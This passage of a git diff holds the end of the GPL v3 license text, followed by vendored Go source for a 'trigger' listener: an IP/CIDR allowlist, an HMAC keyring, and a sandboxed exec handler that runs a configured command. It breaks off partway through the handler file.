install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/vendor/github.com/0x90pkt/trigger/pkg/auth/cidr.go b/vendor/github.com/0x90pkt/trigger/pkg/auth/cidr.go new file mode 100644 index 0000000000..48c954357d --- /dev/null +++ b/vendor/github.com/0x90pkt/trigger/pkg/auth/cidr.go @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package auth + +import ( + "fmt" + "net" + "strings" +) + +// SourceAllowlist matches a remote source IP against a configured set +// of exact IPs and CIDR ranges. An empty allowlist matches everything +// (allow-all). +// +// Mixed exact-IP and CIDR-range entries are accepted. IPv4 and IPv6 +// both work. Exact addresses without a /N suffix are treated as /32 +// (v4) or /128 (v6). +type SourceAllowlist struct { + exact map[string]struct{} + cidrs []*net.IPNet +} + +// NewSourceAllowlist parses entries into an allowlist. Entries may be: +// +// - "1.2.3.4" (exact IPv4) +// - "2001:db8::1" (exact IPv6) +// - "10.0.0.0/8" (IPv4 CIDR) +// - "2001:db8::/32" (IPv6 CIDR) +// +// Returns an error on any malformed entry, naming the offending input. +// An empty slice produces an allow-all instance. +func NewSourceAllowlist(entries []string) (*SourceAllowlist, error) { + a := &SourceAllowlist{exact: make(map[string]struct{})} + for _, raw := range entries { + e := strings.TrimSpace(raw) + if e == "" { + continue + } + if strings.Contains(e, "/") { + _, n, err := net.ParseCIDR(e) + if err != nil { + return nil, fmt.Errorf("invalid CIDR %q: %w", e, err) + } + a.cidrs = append(a.cidrs, n) + continue + } + if ip := net.ParseIP(e); ip != nil { + a.exact[ip.String()] = struct{}{} // normalize via ParseIP+String + continue + } + return nil, fmt.Errorf("invalid IP %q", e) + } + return a, nil +} + +// IsEmpty reports whether the allowlist contains no entries — in which +// case Contains returns true for every input (allow-all). +func (a *SourceAllowlist) IsEmpty() bool { + return len(a.exact) == 0 && len(a.cidrs) == 0 +} + +// Contains returns true if remote (a string in standard text form, as +// emitted by net.IP.String()) is in the allowlist. Empty allowlist +// returns true. +func (a *SourceAllowlist) Contains(remote string) bool { + if a.IsEmpty() { + return true + } + if _, ok := a.exact[remote]; ok { + return true + } + ip := net.ParseIP(remote) + if ip == nil { + return false + } + for _, n := range a.cidrs { + if n.Contains(ip) { + return true + } + } + return false +} + +// Size returns the number of entries (exact + CIDR) for diagnostics. +func (a *SourceAllowlist) Size() int { return len(a.exact) + len(a.cidrs) } diff --git a/vendor/github.com/0x90pkt/trigger/pkg/auth/keyring.go b/vendor/github.com/0x90pkt/trigger/pkg/auth/keyring.go new file mode 100644 index 0000000000..bbbdb831cd --- /dev/null +++ b/vendor/github.com/0x90pkt/trigger/pkg/auth/keyring.go @@ -0,0 +1,112 @@ +// SPDX-License-Identifier: GPL-3.0-or-later +// +// Package auth provides HMAC-key resolution for the trigger listener. +// It wraps the mapping from a wire message's client_id to the secret +// the listener should HMAC-verify against. +// +// Two modes: +// +// - Single shared secret. Every client_id verifies against the same +// key. Simplest; what the standalone has always done. +// +// - Per-client keyring. Each known client_id has its own key; an +// optional default key applies to clients not in the map. Strict +// mode disables the default, so unknown client_ids reject without +// a fallback path. +// +// The listener calls Keyring.SecretFor(clientID) AFTER decoding the +// wire message (so it has the client_id) but BEFORE HMAC verify (so +// it knows which key to use). The keyring returns the secret and a +// bool indicating whether a match was found. +package auth + +import ( + "errors" + "fmt" + "sync" +) + +// Keyring resolves a client_id to the HMAC secret bytes that should +// verify its messages. Safe for concurrent use. +type Keyring struct { + mu sync.RWMutex + clients map[string][]byte + def []byte + strict bool +} + +// Options for keyring construction. +type Options struct { + // DefaultSecret is the fallback HMAC key for client_ids not in the + // per-client map. Empty disables the fallback. + DefaultSecret string + // Strict, if true, rejects any client_id not in the per-client map + // even when DefaultSecret is set. Useful for hardened deployments + // where every operator must have an explicit key. + Strict bool +} + +// NewKeyring constructs a Keyring with the given default and strict +// behavior. Use Add to populate per-client keys. +func NewKeyring(opts Options) *Keyring { + return &Keyring{ + clients: make(map[string][]byte), + def: []byte(opts.DefaultSecret), + strict: opts.Strict, + } +} + +// Add binds clientID → secret. Returns an error on duplicate; the +// keyring refuses silent overwrites because they hide config bugs. +func (k *Keyring) Add(clientID, secret string) error { + if clientID == "" { + return errors.New("client_id must be set") + } + if secret == "" { + return fmt.Errorf("secret for %q is empty", clientID) + } + k.mu.Lock() + defer k.mu.Unlock() + if _, exists := k.clients[clientID]; exists { + return fmt.Errorf("client_id %q already has a key", clientID) + } + k.clients[clientID] = []byte(secret) + return nil +} + +// SecretFor returns the HMAC secret bytes for clientID. The bool is +// true on match. In strict mode, an unknown client_id returns +// (nil, false) regardless of any configured default. +// +// Caller MUST NOT mutate the returned slice — it is the keyring's +// own storage. +func (k *Keyring) SecretFor(clientID string) ([]byte, bool) { + k.mu.RLock() + defer k.mu.RUnlock() + if secret, ok := k.clients[clientID]; ok { + return secret, true + } + if k.strict { + return nil, false + } + if len(k.def) == 0 { + return nil, false + } + return k.def, true +} + +// HasDefault reports whether a fallback default key is configured AND +// strict mode is off. Useful for config validation: "either set a +// default or register every client_id." +func (k *Keyring) HasDefault() bool { + k.mu.RLock() + defer k.mu.RUnlock() + return !k.strict && len(k.def) > 0 +} + +// Size returns the number of per-client entries (test/diagnostic). +func (k *Keyring) Size() int { + k.mu.RLock() + defer k.mu.RUnlock() + return len(k.clients) +} diff --git a/vendor/github.com/0x90pkt/trigger/pkg/intents/handlers/exec.go b/vendor/github.com/0x90pkt/trigger/pkg/intents/handlers/exec.go new file mode 100644 index 0000000000..f153f00a6f --- /dev/null +++ b/vendor/github.com/0x90pkt/trigger/pkg/intents/handlers/exec.go @@ -0,0 +1,237 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package handlers + +import ( + "bytes" + "context" + "errors" + "fmt" + "io" + "log/slog" + "os/exec" + "path/filepath" + "sort" + "strings" + + "github.com/0x90pkt/trigger/pkg/intents" +) + +// ExecConfig is the construction-time configuration for an Exec handler. +// +// Design rules (the original prototype's mistakes we are not repeating): +// +// 1. No shell interpolation. The command is an absolute path plus a +// pre-split argv. There is no `sh -c "..."` codepath. Operator +// scripts read context from environment variables, never from +// argv substitution. +// 2. Inherited environment is NOT propagated. The handler env starts +// empty and is populated with: +// - PATH (configurable; sane default if unset) +// - HOME (configurable; sane default if unset) +// - Intent context (INTENT, CLIENT_ID, SOURCE_IP, NONCE, TIMESTAMP) +// - Whatever the operator added via Env. +// This deliberately blocks accidental leakage of server-side +// secrets (TRIGGER_SHARED_SECRET, etc.) into handler subprocesses. +// 3. The parent context deadline kills the subprocess. There is no +// separate handler timeout — the listener sets a per-invocation +// ctx deadline (default 10s, configurable globally). +// 4. Captured stdout/stderr is bounded (default 64KB combined). On +// overflow the tail is silently dropped; the truncation is noted +// in the returned error. +type ExecConfig struct { + // Cmd is the absolute path of the executable. Relative paths are + // rejected at construction time. + Cmd string + // Args is the verbatim argv passed to the subprocess. NOT shell- + // interpreted. NOT templated with intent values — intent context + // is exposed via env vars. + Args []string + // Workdir is the subprocess working directory. Must exist or the + // kernel rejects the exec. If empty, defaults to "/". + Workdir string + // Env is extra environment passed to the subprocess on top of the + // minimal default set. Values are verbatim — no expansion. + Env map[string]string + // PathOverride, if set, replaces the default PATH passed to the + // subprocess. Empty uses a conservative default. + PathOverride string + // HomeOverride, if set, replaces the default HOME. + HomeOverride string + // MaxOutputBytes caps combined stdout+stderr capture. Default + // 64KB if zero. + MaxOutputBytes int + // Logger receives subprocess output snippets and lifecycle logs. + // If nil, slog.Default() is used. + Logger *slog.Logger +} + +const ( + defaultExecPath = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + defaultExecHome = "/var/empty" + defaultExecWorkdir = "/" + defaultExecMaxOutBytes = 64 * 1024 +) + +// Exec runs a configured command-line on intent fire. See ExecConfig. +type Exec struct { + name string + cfg ExecConfig + logger *slog.Logger + maxOutputBytes int + workdir string + pathEnv string + homeEnv string +} + +// NewExec constructs an Exec handler. Returns an error if Cmd is not +// an absolute path or fails sanity checks. +func NewExec(name string, cfg ExecConfig) (*Exec, error) { + if strings.TrimSpace(name) == "" { + return nil, errors.New("exec handler: name must be set") + } + if cfg.Cmd == "" { + return nil, errors.New("exec handler: Cmd must be set") + } + if !filepath.IsAbs(cfg.Cmd) { + return nil, fmt.Errorf("exec handler: Cmd %q must be an absolute path", cfg.Cmd) + } + logger := cfg.Logger + if logger == nil { + logger = slog.Default() + } + maxOut := cfg.MaxOutputBytes + if maxOut <= 0 { + maxOut = defaultExecMaxOutBytes + } + workdir := cfg.Workdir + if workdir == "" { + workdir = defaultExecWorkdir + } + pathEnv := cfg.PathOverride + if pathEnv == "" { + pathEnv = defaultExecPath + } + homeEnv := cfg.HomeOverride + if homeEnv == "" { + homeEnv = defaultExecHome + } + return &Exec{ + name: name, + cfg: cfg, + logger: logger, + maxOutputBytes: maxOut, + workdir: workdir, + pathEnv: pathEnv, + homeEnv: homeEnv, + }, nil +} + +// Name implements intents.Handler. +func (h *Exec) Name() string { return h.name } + +// Execute runs the configured subprocess. The parent ctx deadline kills +// the subprocess via SIGTERM/SIGKILL handled by exec.CommandContext. +// Returns the subprocess's exit error wrapped with captured output +// excerpts. +func (h *Exec) Execute(ctx context.Context, evt intents.Event) error { + cmd := exec.CommandContext(ctx, h.cfg.Cmd, h.cfg.Args...) + cmd.Dir = h.workdir + cmd.Env = h.buildEnv(evt) + + stdout := newBoundedBuffer(h.maxOutputBytes) + stderr := newBoundedBuffer(h.maxOutputBytes) + cmd.Stdout = stdout + cmd.Stderr = stderr + + err := cmd.Run() + + h.logger.Info("exec handler complete", + slog.String("intent", h.name), + slog.String("client_id", evt.ClientID), + slog.String("source_ip", evt.SourceIP), + slog.String("cmd", h.cfg.Cmd), + slog.Bool("ok", err == nil), + slog.Int("stdout_bytes", stdout.Len()), + slog.Int("stderr_bytes", stderr.Len()), + slog.Bool("stdout_truncated", stdout.truncated), + slog.Bool("stderr_truncated", stderr.truncated), + ) + + if err != nil { + return fmt.Errorf("exec %s failed: %w (stderr: %q)", h.cfg.Cmd, err, stderr.tail(512)) + } + return nil +} + +// buildEnv constructs the subprocess environment from scratch. We do +// not inherit the parent (server) process environment. 